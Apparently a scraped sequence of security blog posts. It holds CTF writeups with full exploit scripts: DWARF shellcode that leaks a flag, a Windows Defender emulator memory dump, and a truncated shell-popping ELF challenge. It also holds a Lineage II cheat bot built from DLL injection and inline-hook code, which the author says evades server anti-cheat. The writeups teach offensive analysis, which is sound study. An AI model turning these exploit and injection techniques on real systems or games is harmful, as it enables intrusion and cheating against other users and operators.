    DW_AT_const_value  DW_FORM_data1
    DW_AT value: 0     DW_FORM value: 0
   4      DW_TAG_variable    [no children]
    DW_AT_name         DW_FORM_strp
    DW_AT_location     DW_FORM_exprloc
    DW_AT value: 0     DW_FORM value: 0

Generating the DWARF shellcode

Now that we can execute dwarf bytecode, we have to figure out where the flag is stored in memory. The code can be summed up like this:

int main() {
  __int64 rand_stack2;          // rbx
  unsigned int v4;              // eax
  int i;                        // [rsp+18h] [rbp-58h]
  int fd;                       // [rsp+1Ch] [rbp-54h]
  char *rand_map;               // [rsp+20h] [rbp-50h]
  __int64 rand_stack;           // [rsp+28h] [rbp-48h] BYREF
  unsigned __int64 mmap_offset; // [rsp+30h] [rbp-40h] BYREF
  unsigned __int64 score;       // [rsp+38h] [rbp-38h]
  unsigned __int64 highscore;   // [rsp+40h] [rbp-30h]
  fdata *heapvar;               // [rsp+48h] [rbp-28h]
  FILE *stream;                 // [rsp+50h] [rbp-20h]
  unsigned __int64 canary;      // [rsp+58h] [rbp-18h]*

  canary = __readfsqword(0x28u);
  heapvar = (fdata *)malloc(0x18uLL);
  rand_map = (char *)mmap_random(0x4C4B40uLL);
  score = 0LL;
  highscore = 5000LL;
  byte_4045FF = 0;

  fd = open("/dev/urandom", 0);
  read(fd, &rand_data, 8uLL);
  read(fd, &rand_stack, 8uLL);
  read(fd, &heapvar->rand_heap, 8uLL);
  read(fd, &mmap_offset, 3uLL);
  mmap_offset %= 0x4C4B1CuLL;

  stream = fopen("../../flag", "r");
  setvbuf(stream, 0LL, 2, 0LL);
  fgets(&rand_map[mmap_offset], 36, stream);
  rand_map[mmap_offset + 36] = 0;
  fclose(stream);

  rand_stack2 = heapvar->rand_heap ^ rand_stack ^ rand_data ^ (unsigned __int64)&rand_map[mmap_offset];
  mmap_offset = -1LL;

  // Start the quizz
  read_questions();
  rand_swap((__int64 *)questions, 25uLL);
  while (1) {
    // ... (snip)
  }

  return __readfsqword(0x28u) ^ canary;
}

We figure that the flag is stored at &rand_map[mmap_offset] which is a random location in the memory, but we are provided variables in different locations in the memory which once xored together could leak the flag position.

  rand_stack2 = heapvar->rand_heap ^ rand_stack ^ rand_data ^ &rand_map[mmap_offset]

Is equivalent to:

  &rand_map[mmap_offset] = heapvar->rand_heap ^ rand_stack ^ rand_data ^ rand_stack2

Thanks to gdb we can spot their exact location in memory at the moment of the crash, and write a small shellcode to retrieve it:

#!/usr/bin/env python3
import struct


def gen_file(sc):
  data = open('debug_info.s', 'r').read()
  data = data.replace('SHELLCODE_SIZE', str(len(sc)))
  data = data.replace('SHELLCODE', ', '.join(map(hex, sc)))
  open('debug_info.gen.s', 'w').write(data)


DW_OP_const1u     = 0x08
DW_OP_const2u     = 0x0a
DW_OP_const4u     = 0x0c
DW_OP_const8u     = 0x0e

DW_OP_dup         = 0x12

DW_OP_or          = 0x21
DW_OP_plus        = 0x22
DW_OP_shl         = 0x24
DW_OP_shr         = 0x25
DW_OP_xor         = 0x27

DW_OP_deref       = 0x06
DW_OP_reg7        = 0x57 # rsp
DW_OP_breg7       = 0x77 # rsp
DW_OP_piece       = 0x93
DW_OP_stack_value = 0x9f
DW_OP_push_object_address = 0x97

# Shellcode starts here
sc = []

# Get the 3rd random value in the heap at [[rsp + 8*23] + 0x10]
sc += [DW_OP_breg7, 0x00]
sc += [DW_OP_const1u, 8 * 23]
sc += [DW_OP_plus]
sc += [DW_OP_deref]
sc += [DW_OP_const1u, 8 * 2]
sc += [DW_OP_plus]
sc += [DW_OP_deref]

# Get the 2nd random value at [rsp + 8*19]
sc += [DW_OP_breg7, 0x00]
sc += [DW_OP_const1u, 8 * 19]
sc += [DW_OP_plus]
sc += [DW_OP_deref]

# xor them
sc += [DW_OP_xor]

# Get the 1st random value at offset 0x404100 in .data
sc += [DW_OP_const8u, 0x00, 0x41, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00]
sc += [DW_OP_deref]

# xor them
sc += [DW_OP_xor]

# Get the last value at [rsp]
sc += [DW_OP_breg7, 0x00]
sc += [DW_OP_const1u, 0]
sc += [DW_OP_plus]
sc += [DW_OP_deref]

# xor them
sc += [DW_OP_xor]

# get the address
sc += [DW_OP_stack_value]

gen_file(sc)

This looks great but while trying locally I stumbled on an issue where using the DW_OP_stack_value which uses the value on the top of the stack as the address would actually sign extend it and retrieve something as 0xffffffff41424344 for the flag address. I couldn't get rid of this and thus did not manage to have a successful x/s working and printing the entire flag as a string.

However, if we remove DW_OP_stack_value from our shellcode, x/s will leak the first 4 bytes of the flag, and thus we can simply repeat the operation by incrementing the pointer 4 by 4 (and I'm happy there are only 36 bytes to leak):

sc += [DW_OP_const1u, 4]
sc += [DW_OP_plus]

Executing remotely

Now we're ready, we can make sure our file does not contain any \n character and send it remotely. We quickly realise that the CRC does not match. Of course, we have to patch the CRC to the one that was hardcoded in the trivia binary i.e. 3d46c53b. For that I used this script which would allow me to force a CRC32 for my input file (kudos to burrito, it is indeed faster than bruteforcing like a dummy).

Tried it again, and whoops, it still didn't work. And for a good reason, after fgets is called, the character \n is added to the content of our file followed by the player's score divided by 0x64! So I had to append my current score to the file first, force its CRC to the one we wanted, then remove it again so that the CRC matches when the remote binary appends our score to the file.

Here's my not-so-pretty but working script:

#!/usr/bin/env python3

from pwn import *
import struct
import binascii
import forcecrc32

answers = {}
def readquestions():
    data = open('questions.txt', 'rb').read()
    data = data.decode('utf-8').split("\n")
    for x in range(int(len(data)/2)):
        q = data[x*2]
        a = data[x*2+1]
        answers[q] = a

last_score = 0

def question(minscore, fail=False):
    global last_score
    line = r.recvline()
    if line == b'\n':
        return False
    try:
        score = int(line.split(b':')[1].split()[0].decode())
        last_score = score
    except:
        print(line)
        return False
    r.recvuntil(':\n')
    q = r.recvline().decode().strip() # question
    if not fail and q in answers:
        answer = answers[q]
    else:
        answer = 'UNK'
    r.send(answer + '\n')
    r.recvline()
    r.recvline()
    res = r.recvline()
    if b'WRONG' in res and not fail:
        print(f'Wrong answer for "{q}" (sent "{answer}")')
    r.send('\n')
    return score <= minscore or fail

# Init answers and socket
readquestions()
r = remote('exploit-for-dummies.challenges.ooo', 5000)
r.recvuntil('spawn the service up for you.\n')
r.send('\n')
print(r.recvline()) # starting...
print(r.recvline()) # cd
print(r.recvline()) # ./trivia

# Answer correctly to questions
def play(score=5000):
    run = True
    while run:
        run = question(score)

    # Minimum score is reached, abort asap
    run = True
    while run:
        run = question(score, True)

def save_score(name, data):
    r.recvuntil('save your score? (yes/no)\n')
    r.sendline('yes')
    r.sendlineafter('Name:', name)
    if name == 'questions.txt':
        return
    r.recvuntil('Your Name')
    print('CRC:', hex(binascii.crc32(data)), len(data))
    # \n included in data for CRC match
    assert data[-1] == 0x0a
    x = r.send(data)
    print('Sent', x)
    r.sendlineafter('play again? (yes/no)\n', 'yes')

# Now make it segfault and send data
def dump(payload):
    save_score('questions.txt', None)
    r.sendlineafter('continue', '')
    r.sendlineafter('input', '')
    r.sendlineafter('Address', payload)
    r.interactive()

    print(r.recvuntil('x/s ' + payload + '\n'))
    gdb_data = r.recvuntil(payload + ':')
    addr = r.recvline()
    print(gdb_data.decode(), end='')
    print(addr.decode())
    print(r.recvline())


### 
score = play()
print('your score is', last_score)
score = last_score // 0x64
data = open('./trivia.debug', 'rb').read()
data = data + int.to_bytes(score, 1, 'big')
open('./trivia.debug.sent', 'wb').write(data)
__import__('os').system('python3 forcecrc32.py ./trivia.debug.sent 304 3d46c53b') # I'm not proud but that's how I did it
save_score('trivia.debug', open('./trivia.debug.sent', 'rb').read()[:-1])
play(last_score)
dump('0x0+first') # Leak the symbol 'first'

Et voilà! After a while we can see the following:

...
warning: section .bss not found in /home/dummies/tmp/dir_4912804/trivia.debug
[New LWP 37]
Core was generated by `./trivia'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x00007fc068c97f5b in _IO_new_fclose (fp=0x0) at iofclose.c:48
48    iofclose.c: No such file or directory.
(gdb) 0x7b4f4f4f:    <error: Cannot access memory at address 0x7b4f4f4f>

And as you would have guessed already, 0x7b4f4f4f in little-endian corresponds to the characters OOO{ which is the mark of the beginning of the flag. All I had to do now was to adjust the shellcode to read the bytes 4 by 4 until the full flag is leaked:

p32 = lambda x: struct.pack('<I', x)
flag = b'OOO{' + p32(0x72617764) + p32(0x68732066) + p32(0x636c6c65) + p32(0x7365646f) + p32(0x65726120) + p32(0x72657620) + p32(0x656c2079) + p32(0x7d7465)
print(flag)

OOO{dwarf shellcodes are very leet}

Conclusion

I found this challenge very interesting as I learned a lot about the capabilities of DWARF. It still amazes me how complex this language is and all the things one can do with it.

I'd like to thank yrp, grimmlin, burrito and clz for their help during this challenge and the time they spent helping a dummy.

[Update Sep 25, 2024]

The challenge files are available on the FCSC archive website Hackropole, and you can give the challenge a try before reading this article.

Overview

The challenge provides us a PE32+ executable and explains it was found on VirusTotal and expects to be run by Windows Defender.

After opening the executable in a decompiler, I observed that the main function does the following:

1. Fetches names for some running processes
2. Fetches files from the filesystem (e.g. C:\mirc\mirc.ini)
3. Fetches some Windows registry keys

Then it mixes the data altogether and finally xor it with the string INPUTINPUTINPUTINPUTINPUTINPU and then xor it again with some constants. Finally, if the input data (originally INPUTINPUT...) starts with FCSC{ and the resulting data of the previous operations is equal to the string "Reminder: patch CVE-2021-1647", then it will create a file and write Congratz inside.

Thus we have the following equation:

fingerprint ^ input ^ constants = cve_string

From what we've seen, we know input should contain the flag, so if we can manage to get the fingerprinting data, we can retrieve the flag thanks to the nature of the xor operation:

input = cve_string ^ constants ^ fingerprint

From there I tried to think of the fastest way to solve this (i.e. to retrieve the fingerprint information) and it seemed obvious to me that we would have to dump it from a Windows Defender process.

Executing Windows Defender

When looking around on the internet, we can see that Tavis Ormandy made a tool mpclient which allows us to debug the Windows Defender engine (mpengine.dll) from a Linux environment. This sounds pretty cool, and after reading the readme we can start downloading a mpam-fe.exe file from Microsoft website and extract it to retrieve an up-to-date mpengine.dll with a few .vdm files which are required by mpclient.

But how does Windows Defender work after all? The talk Windows Offender: Reverse Engineering Windows Defender's Antivirus Emulator from Alexei Bulazel teaches us that Windows Defender will (among a lot of others things - by the way, you should really watch the talk) emulate the executable it analyses.

The strategy I had in mind at this point was to select a specific instruction that is easily recognisable and not executed often, put a breakpoint in Windows Defender's emulation of that instruction, patch our the_offenders.exe binary to insert this instruction right after the fingerprinting, and finally dump the content from memory.

In order to analyse the mpengine.dll and find the proper instruction handler to break to, it would be very helpful to have symbols. However the latest downloaded mpengine.dll did not have any public symbols on Microsoft Servers.

Thanks to Web Archive I was however able to download an older version of mpam-fe.exe that would give me an mpengine.dll with its .vdm files so that I can execute it with mpclient and also have the .pdb debug information file from Microsoft Servers. Here is the link for Windows Defender 1.321.1276.0 (engine 1.1.17300.4) from August 2020: web archive definitionsupdates.microsoft.com.

Breaking at the right spot

I arbitrarily decided to use the cpuid instruction as I knew it wouldn't be executed often.

The above picture shows the function responsible for emulating CPUID in mpengine.dll. From this context we can understand it will check the emulated binary rax register with the various parameters the CPUID instruction takes into account. Note that mpclient runs only in 32 bits with a 32 bits version of mpengine.dll, but Windows Defender can emulate various architectures so it's not a problem that our binary the_offenders.exe is a x64 binary. This value is loaded from esi+0x130. With a bit of luck, this is the location where all the emulated registers are.

We can confirm this by putting a breakpoint in mpengine.dll while executing it with mpclient at the location of the CPUID emulation. We patch the_offenders.exe by putting anywhere the instructions mov rax, 0x1337; cpuid and we break in the CPUID handler in gdb:

gdb ./mpclient
...
(gdb) r /share/the_offenders.exe
Starting program: /home/ubuntu/fcsc/loadlibrary/mpclient /share/the_offenders.exe
mpclient: large number of extra symbols in engine/mpengine.map, increase MAX_EXTRA_EXPORTS and rebuild: No such process
main(): GDB: add-symbol-file engine/mpengine.dll 0x5a100000+0x1000
main(): GDB: shell bash genmapsym.sh 0x5a100000+0x1000 symbols_1769.o < engine/mpengine.map
main(): GDB: add-symbol-file symbols_1769.o 0

Program received signal SIGTRAP, Trace/breakpoint trap.
...

(gdb) b *0x5a100000 + 0x1000 + 0x7c3434
(gdb) display **(uint64_t*)($esi+0x130)
(gdb) continue

We can hit continue multiple times until the displayed value becomes the value we've set for rax in the_offenders.exe, being 0x1337.

Continuing.

Breakpoint 1, 0x5a8c4434 in ?? ()
1: **(uint64_t*)($esi+0x130) = 0x1337

(gdb) x/10gx *($esi+0x130)
0x5813a328:	0x0000000000001337	0x000000000012f5ec
0x5813a338:	0x0000000140021000	0x0000000000141f30
0x5813a348:	0x000000000012eea0	0x000000000012fff0
0x5813a358:	0x0000000000430000	0x000000000012ff58
0x5813a368:	0x000000000000001d	0x0000000000000000

We can confirm we can break at a chosen location in the binary and control the registers data.

Dumping the memory

All we want is the content of the fingerprint buffer, right before it is being xored.

0x140001B46    mov     r8d, 1Dh
0x140001B4C    lea     rdx, [rsp+10D8h+fingerprint]
0x140001B54    lea     rcx, [rsp+10D8h+registry_info]
0x140001B5C    call    sub_140002310
0x140001B61    mov     r8d, 1Dh
0x140001B67    lea     rdx, INPUT      ; "INPUTINPUTINPUTINPUTINPUTINPU"
0x140001B6E    lea     rcx, [rsp+10D8h+fingerprint]
0x140001B76    call    xor                                               ; Xor starts here, print the value before
0x140001B7B    mov     r8d, 1Dh
0x140001B81    lea     rdx, tab
0x140001B88    lea     rcx, [rsp+10D8h+fingerprint]
0x140001B90    call    xor
0x140001B95    mov     r8d, 5          ; MaxCount
0x140001B9B    lea     rdx, INPUT      ; "INPUTINPUTINPUTINPUTINPUTINPU"
0x140001BA2    lea     rcx, Str1       ; "FCSC{"
0x140001BA9    call    strncmp

We know the fingerprint data will be located in the rcx register if we stop at address 0x140001b76, so we can patch there with instructions that will load the content of the buffer at rcx into the various registers to dump the buffer content. It can be done quickly with Rizin:

$ rizin -s 0x140001b76 -w -qc '"wa mov rax, 0x1337; mov rbx, [rcx]; mov rdx, [rcx+8];
mov rdi, [rcx+10]; mov rsi, [rcx+0x18]; cpuid;"; pd 15 @ 0x140001b76-8' the_offenders.exe
            0x140001b6e      lea   rcx, [rsp + 0x730]
            0x140001b76      mov   rax, 0x1337
            0x140001b7d      mov   rbx, qword [rcx]
            0x140001b80      mov   rdx, qword [rcx + 8]
            0x140001b84      mov   rdi, qword [rcx + 0xa]
            0x140001b88      mov   rsi, qword [rcx + 0x18]
            0x140001b8c      cpuid
            0x140001b8e      add   byte [rax], al
            0x140001b90      call  0x1400024a0
            0x140001b95      mov   r8d, 5
            0x140001b9b      lea   rdx, str.INPUTINPUTINPUTINPUTINPUTINPU ; section..data
                                                                       ; 0x140021000 ; "INPUTINPUTINPUTINPUTINPUTINPU"
            0x140001ba2      lea   rcx, str.FCSC                       ; 0x1400163e4 ; "FCSC{"
            0x140001ba9      call  0x140006520
            0x140001bae      test  eax, eax
        ┌─< 0x140001bb0      jne   0x140001c3e

The rest of the instructions after CPUID are invalid (i.e. add byte [rax], al won't work as rax which will contain 0x1337 won't be a valid address) but that's not our concern since we don't continue the emulation after CPUID anyways.

We can start over the debugging session, and dump the needed values after our cpuid instruction is reached:

(gdb) x/10gx *($esi+0x130)
0x5813a328:	0x0000000000001337	0x000000000012f5d0
0x5813a338:	0x0855b177c6dcd598	0xd7008c6d417553ad
0x5813a348:	0x000000000012eea0	0x000000000012fff0
0x5813a358:	0x0000001d7f00323d	0xa4f60855b177c6dc
0x5813a368:	0x000000000000001d	0x0000000000000000

Hmm well, it seems hard to understand which value corresponds to what, but with a simple trick we can know which offset represents which register.

$ rizin -s 0x140001b61 -w -qc '"wa mov rax, 0x1337; mov rbx, 0x4242; mov rcx, 0x4343;
mov rdx, 0x4444; mov rdi, 0x4545; mov rsi, 0x4646; cpuid;"; pd 20 @ 0x140001b6e-18' the_offenders.exe
$ gdb ./mpclient

...

(gdb) x/10gx *($esi+0x130)
0x5813a328:	0x0000000000001337	0x0000000000004343
0x5813a338:	0x0000000000004444	0x0000000000004242
0x5813a348:	0x000000000012eea0	0x000000000012fff0
0x5813a358:	0x0000000000004646	0x0000000000004545
0x5813a368:	0x000000000012f840	0x0000000000000000

All we have to do now is to build a tiny script to xor everything up, and retrieve the flag:

#!/usr/bin/env python3

import struct

p64 = lambda x: struct.pack('<Q', x)

# Constants in the binary
cve_string = b'Reminder: patch CVE-2021-1647'
constants = [0xB9, 0x75, 0x4B, 0x6B, 0x78, 0xA0, 0x00, 0xC9, 0xCE, 0x9A, 0xEA, 0xD5, 0x6C, 0xBF, 0x78, 0x45, 0xC0, 0x9E, 0xE4, 0x7C, 0xED, 0xCE, 0x39, 0x46, 0x62, 0x6F, 0x52, 0x6A, 0x57]
# Dumped data from gdb
buf = p64(0xd7008c6d417553ad) + p64(0x0855b177c6dcd598) + p64(0x185c9aba25c0a4f6) + p64(0x0000001d7f00323d)

x = bytearray(0x1d)
for i in range(0x1d):
    x[i] = cve_string[i] ^ constants[i] ^ buf[i]
print(x.decode())

$ python3 offenders.py
FCSC{HelloFromEmulatedWorld!}

That's it!

Conclusion

The challenge was very fun and I learned a lot about Windows Defender even though this writeup is mostly about getting a quick win. There are many different ways of solving it and I hope you enjoyed this one :-)

Special thanks to the challenge author and the FCSC organisation team!

The working and available bots are all non-free (to my knowledge) and most of them are detected by the remote servers as cheating tools!

So I decided to make my own bot as I thought the process would be interesting. This blog post presents my approach at making my own bot for Lineage II.

Disclaimer

Although Lineage II is a dying MMORPG, botting is tolerated on some servers and forbidden on others as it may be considered as a cheating tool. You may get banned for life if you try such software on some servers.

Introduction

If you are not aware of what the concept of botting is, let's describe it before going further. You can get an idea of what a bot is by reading the Wikipedia page.

Lineage II is a MMORPG which demands a lot of farming. The main way to level up is to kill monsters, the main way to get money is to kill monsters and the main way to craft better equipment is to kill monsters. This may sound like a boring game but Lineage II offers in my humble opinion a very unique player versus player (PvP) gameplay style that makes the game much more interesting than many other MMORPGs.

Because it requires a lot of farming, being able to automate the action of killing monsters helps a lot the player. One can let its character farm during the night and play during the day and get a lot of rewards.

The bot I designed will be able to target a nearby monster, attack it and use spells, pickup items and rest when needed.

Lineage II is protected with a (probably old) version of WinLicense, so some functions in the executable file may be virtualized but it won't be of any matter to us. Also, game servers use protections like GameGuard, SmartGuard or LameGuard in order to prevent botting, and for some reason my bot is not detected at all by any server I connected to.

Lineage II has a lot of public private server emulators and various researches around packet hacking so the overall task was not very hard to achieve as many resources are available online.

Making the bot

Design choice

I can see two different kind of bots. Full Out-of-Game (OOG) bots, and In-Game bots (IG).

The difficulty of making an OOG bot is that it requires to reverse engineer, understand and implement the whole client-server protocol (including network encryption). However it may be quite rewarding as then it's possible to run the bot without a copy of the game. That means it will be much lighter and much easier to run multiple instances of the bot.

In the case of Lineage II, making an IG bot is much easier as Lineage II is implemented in such way that the client will not predict any action, but only react to what the server sends. That means we can simulate the sending of a packet using the running client, and that's just it, the game client will react to that packet we sent after the server validates (or not) the action. However running an IG bot might be tedious as it will be a little bit intrusive and might trigger anti cheat detections.

I decided to go with the IG bot as Lineage II is an old game I suspected if it had any anti-cheat it would not be too hard to bypass.

Sending a specific packet

Finding the send packet function

As my purpose was to automate things, my first objective was to send a chosen packet so I could automate single tasks.

Lineage II works in a full TCP fashion and connects first to a login server which centralizes multiple game servers. The next steps describe the sending of a packet when already in game and connected to a game server.

In order to send a packet, I needed to find the function that would send a packet. The game uses the function send from the native Windows library ws2_32.dll. All I had to do was to set up a breakpoint there, and do an action in game to trigger it. The parameters given to the send function contain the encrypted packet, so we need to check from where the send function is called thanks to the stack frame. From there it is possible to do a bit of reverse engineering and understand what's happening.

The screenshot above shows a call to the send packet function when I type in a message to send in the game chat. The first value on the stack frame is the return address, and the followings are the function arguments. The first argument is a fixed pointer to some data structure which contains the Windows TCP socket. The second argument is a null terminated string for which each character specifies the type of the packet field. In our case (sending a chat message) the packet contains the following arguments:

• "c" (char) : 0x49 which corresponds to the packet id "send message",
• "S" (String) : L"Hello" which is a pointer to a null terminated wide string,
• "d" (dword) : 0x00000000 which corresponds to the channel ID.

Replaying a packet

In order to call the "send packet" function I decided to inject a DLL into the game process that would create a thread and call this very function.

The DLL code is rather small:

DWORD SendPacketFP;
DWORD(_stdcall* sendPacket)(DWORD FP, const char* format, ...);

#define DATA_SEND_ADDR 0x3E3B80          // Offset of the "send packet" function in engine.dll
#define DATA_SEND_SOCKET_INFO 0xFD890000 // Offset of the networking structure

void ProcessAttach()
{
    DWORD EngineDLLBase = (DWORD) GetModuleHandle(L"engine.dll");

    sendPacket = (DWORD(_stdcall *)(DWORD, const char*, ...)) EngineDLLBase + DATA_SEND_ADDR;
    SendPacketFP = DATA_SEND_SOCKET_INFO; // Pointer to the network structure

    const char format[] = "cSd";
    const WCHAR* message = L"Hello";

    DWORD parameters[3] = { 0 };
    parameters[0] = 0x49;                 // Packet ID
    parameters[1] = (DWORD) message;      // Pointer to our message
    parameters[2] = 0x00000000;           // General chat ID

    sendPacket(SendPacketFP, format, parameters[0], parameters[1], parameters[2]);
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ProcessAttach, 0, 0, NULL);
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

There are multiple ways to inject the DLL inside the game process. I decided to make my own injector which is very simple and will:

• OpenProcess the game process l2.exe
• Allocate memory in the game process address space with VirtualAllocEx
• Write the .dll full path with WriteProcessMemory into that space
• Load the library with CreateRemoteThread which will call LoadLibraryW

Now when I load the library, a packet is sent to the server and we can observe the result directly in game.

That's cool, now I can make actions in the game, but I also need to get information from the surrounding environment.

Getting insights from the game

In order for the bot to work, it is required to gather information from the game such as player current position, health, inventory, skills, but also nearby entities such as Non Playable Characters (NPCs) or nearby players or monsters.

To do so, I can see only two ways: either inspect the game memory, which involves finding the position of all these structures in the game virtual address space, or just parse the received packets from the server as the game client does. I decided to go with the second way, as I thought it would be hard to gather reliably every information I needed with only memory inspection. However on the long run, it might have been easier as tnere would have been no need to understand the client-server protocol.

Similarly to what I've done earlier, it's possible to put a breakpoint on the recv function from ws2_32.dll and check the stack frame and try to find which function is calling recv. After that we can try to step over every function until the packet gets decrypted and we can start parsing it.

In order to notify my bot that a packet is received, it is required to hook the "receive packet" function so I can dump the packets and then give the execution flow back to the game.

LPVOID Hook(LPVOID functionToHook, LPVOID myFunction, size_t size)
{
    DWORD old;
    DWORD old2;
    // In x86, the instruction 'jmp addr' is 5 bytes long and starts with 0xE9
    const JMP_INSTR_SIZE = 5;

    // Allocate memory and copy the old bytes (original instructions) there
    oldInstructions = malloc(JMP_INSTR_SIZE + size);
    VirtualProtect(oldInstructions, size + 5, PAGE_EXECUTE_READWRITE, &old);
    memcpy(oldInstructions, functionToHook, size);

    // Add a jump after the copied bytes from the hooked function
    // to jump back to the rest of that hooked function.
    // This allows that when someone calls oldInstructions, it acts as the original functionToHook
    *(BYTE*)((DWORD)oldInstructions + size) = 0xE9;
    *(DWORD*)((DWORD)oldInstructions + size + 1) = (DWORD)((DWORD)functionToHook + size) - (DWORD)((DWORD)oldInstructions + size) - JMP_INSTR_SIZE;

    // Patch the function to hook in order to jump to our own function
    VirtualProtect(functionToHook, JMP_INSTR_SIZE, PAGE_EXECUTE_READWRITE, &old);
    *(BYTE*)functionToHook = 0xE9;
    *(DWORD*)((DWORD)functionToHook + 1) = (DWORD)myFunction - (DWORD)functionToHook - JMP_INSTR_SIZE;
    VirtualProtect(functionToHook, JMP_INSTR_SIZE, old, &old2);
    return oldInstructions;
}

In order to understand the packets and their meaning, there are tons of resources online describing the packets for almost every version of Lineage II, so the reverse engineering task here is almost non-existent.

Bot Architecture

Software design

Now that I am able to receive a packet and send a packet to the game, I decided to come up with the following architecture:

As seen in the picture, I first inject the DLL which will automatically create a named pipe. The pipe will be used so that when the game receives a packet, the bot gets notified a packet was received, and similarly when the bot needs to interact and do an action in game, it can send it through this socket.

Thanks to this architecture I can seemlessly inject and remove the bot from the game process as well as handling multiple game instances.

For the graphical interface, I decided to go with Qt for no specific reason appart that I was already familiar with it.

Bot automata

In order for the bot to be "smart" I decided to go with a sort of automata which may react to external events. The current automata can be described as follows:

In reality it is much more complex as many things may happen at any time! For instance, you may reach the Start state with a very low health, and you don't want your character to start hitting monsters with low Health Points (HP) so it is preferable to jump to the Rest state. Also you have to keep in mind that nothing is instantaneous, so many checks must be done very often. When choosing a monster to attack and attacking it, usually when you play for real you do not want to attack a monster that is already attacked by a player. To mimick this behavior, it is important to check at multiple states if the current target is still valid. Also it is important to think about every corner case. The bot might select a monster which has already been one shotted by another player by the time the targeting was done, and you don't want the bot to be blocked in such case, hence my choice of having Choosing, Target, Targeted, Engage and Engaged.

So every state will have its own set of checks and do the action only if every check successfuly passed, otherwise it will jump back to Start.

When an event is received, for example system messages suchs as "Cannot see target" or "Invalid target", I decided to simply check in what state the automata is and react accordingly.

Results

In the end, the bot works nicely and is not detected by any server I tried even after hours of farming. I managed to run 4 instances simultaneously on the same computer and on the same server for hours without any hassle, while I am aware that other botting tools get detected immediately. This lets me think that every "anti-bot" system that are purchasable online are actually only checking for known bots or signatures and do not even attempt to do some "advanced" analysis.

I am aware some server are more sophisticated and ask for a captcha after a certain amount of time, but I think those are custom "home made" protections which might be a bit annoying for the players, but makes it harder for someone who uses a bot to defeat (although I found some working in-game captcha breaker implementations online).

That's pretty much it, in the end the bot was quite simple to build and I'm happy with the results even though there is still much to do. However I am afraid my nostalgia has gone and that I won't work much on this little project.

You can get the source code on my GitHub repository: https://github.com/xarkes/L2Bot.

There are still many things to improve for the bot and if you are interested, you can check it in the next section.

Going further

The current bot permits to have something working but nobody likes stupid bots, so below are some features I think would be good to have in order for the bot to be usable in every situation:

• Add automatic Lineage 2 version detection and proper multiple protocol version support
• Support automatic spoil and sweep feature
• Support self buff
• Support party buff
• Support items usage (potions, scrolls, ...)
• Add conditions for item/buff/skill usage
• Automatically parse game data in order to get and display icons for items, skills, NPC names, etc.
  • Fun fact: .dat files of Lineage 2 are encrypted with RSA which means the client can decrypt it with the public key, and only the game publisher can create a valid .dat file (given that the RSA key is not too weak).
  • Basically it is a signature, however it's dirty funny that they just check if the decryption result is a valid file format
• Add on death actions (go to town, disconnect, ...)
• UI improvements (better map resizing, ...)
• Better party interactions (allow a character to assist another one, to buff, heal, etc. when needed)
• Add a scripting engine
  • Might be awesome to just record actions to automate some quests, or other various things.
• Add a "no go" zone feature to avoid obstacles that are obstructing the character line of sight when trying to attack a monster

That's it, feel free to reach me if you have any question, I hope you enjoyed!

As every year, the SSTIC conference organizes a challenge, which is always interesting as the content is quite unique and it demands various skills. It took me approximately 2 weeks to solve it, and I am happy as it is the first time I manage to reach the end.

You can find on this link the files needed to start the challenge, the rankings and other information.

Have a nice day :-)

The challenge was asking for at most 4 bytes to patch and I found it sufficient to exploit not the binary itself but rather the exec function. I don't know if that was the intended way, but it was quick enough to pop a shell and get the first blood.

Mutated ELF

We just rescued an elf that was captured by The Grinch for his cruel genetic experiments. But we were late, the poor elf was already mutated. Could you help us restore the elf's genes?

The challenge was available remotely, running on port 1206. I connected to it using netcat to get some information, and the server responded with a long hex string saying that it was "the elf's current DNA, zlib compressed and then hex encoded".

The server then asks for some bytes to mutate. For instance we can mutate one random byte in the binary:

==================================================

You may mutate up to 4 bytes of the elf.
How many bytes to mutate (0 - 4)? 1
Which byte to mutate? 1
What to set the byte to? 1
Alright - let's see what the elf has to say.
==================================================
sh: 1: /var/tmp/tmpbFs4fRmutated_elf: Exec format error

This was exactly my first input, and I didn't know what to expect exactly from the remote service. I also ignored this error (which was the key point), and figured I would try to find something to exploit.

I tried some other inputs to see that the service was written in Python:

==================================================

You may mutate up to 4 bytes of the elf.
How many bytes to mutate (0 - 4)? 1
Which byte to mutate? okweofkqwwqokfoqkf
Traceback (most recent call last):
  File "chal.py", line 27, in <module>
    pos = int(raw_input('Which byte to mutate? '))
ValueError: invalid literal for int() with base 10: 'okweofkqwwqokfoqkf'

I first thought that maybe there would be an exploit like Python2 input function but after trying every possible input fields it appeared not to be the case.

It is possible to copy the long hexstring that the server sends into a file and then retrieve a valid ELF binary thanks to this command:

xxd -r -p hexfile.txt | zlib-flate -uncompress >elf

I did reverse the binary but it was not doing anything peculiar so I won't detail the steps here.

If one decides not to apply any patch, here is the output of the binary:

==================================================

You may mutate up to 4 bytes of the elf.
How many bytes to mutate (0 - 4)? 0
Alright - let's see what the elf has to say.
==================================================
Blabla
Hello there, what is your name?
Greetings Blabla, let me sing you a song:
We wish you a Merry Chhistmas
We wish you a Merry Christmxs
We wish you alMerry Christmas
and a HapZy New Year!

We can notice the challenge author did not flush stdout after asking for the user name, so it was a bit confusing at first when typing 0 and having no output from the service.

With the binary in hand, I tried to patch the letters in the song (yeah I know it sounds stupid but well there were 4 mistakes and we could do 4 patches) and I got the elf to sing a perfect song, but that's it.

My friend Nics had to leave and told me to patch the binary to introduce a vulnerability, but I was not satisfied with the way the challenge was working, and I had a feeling there would be something else to exploit.

Exec format error

As we noticed, when patching the 2nd byte, we produced this error message:

sh: 1: /var/tmp/tmpbFs4fRmutated_elf: Exec format error

The error says it all: after the binary is modified, sh is started and tries to execute the binary tmpbFs4fRmutated_elf. This can be the case when one uses the function system which creates a process that will execute sh -c commandline. However, in our case, an Exec format error is raised. When I realized that, it took me approximately 30 seconds to pop a shell, but let's try to understand what is really happening.

How does bash work?

Given the previous outputs, we can guess the underlying program:

tmpfile=$(mktemp /var/tmp/tmpXXXXXXmutated_elf);
apply_patches $tmpfile
system($tmpfile)

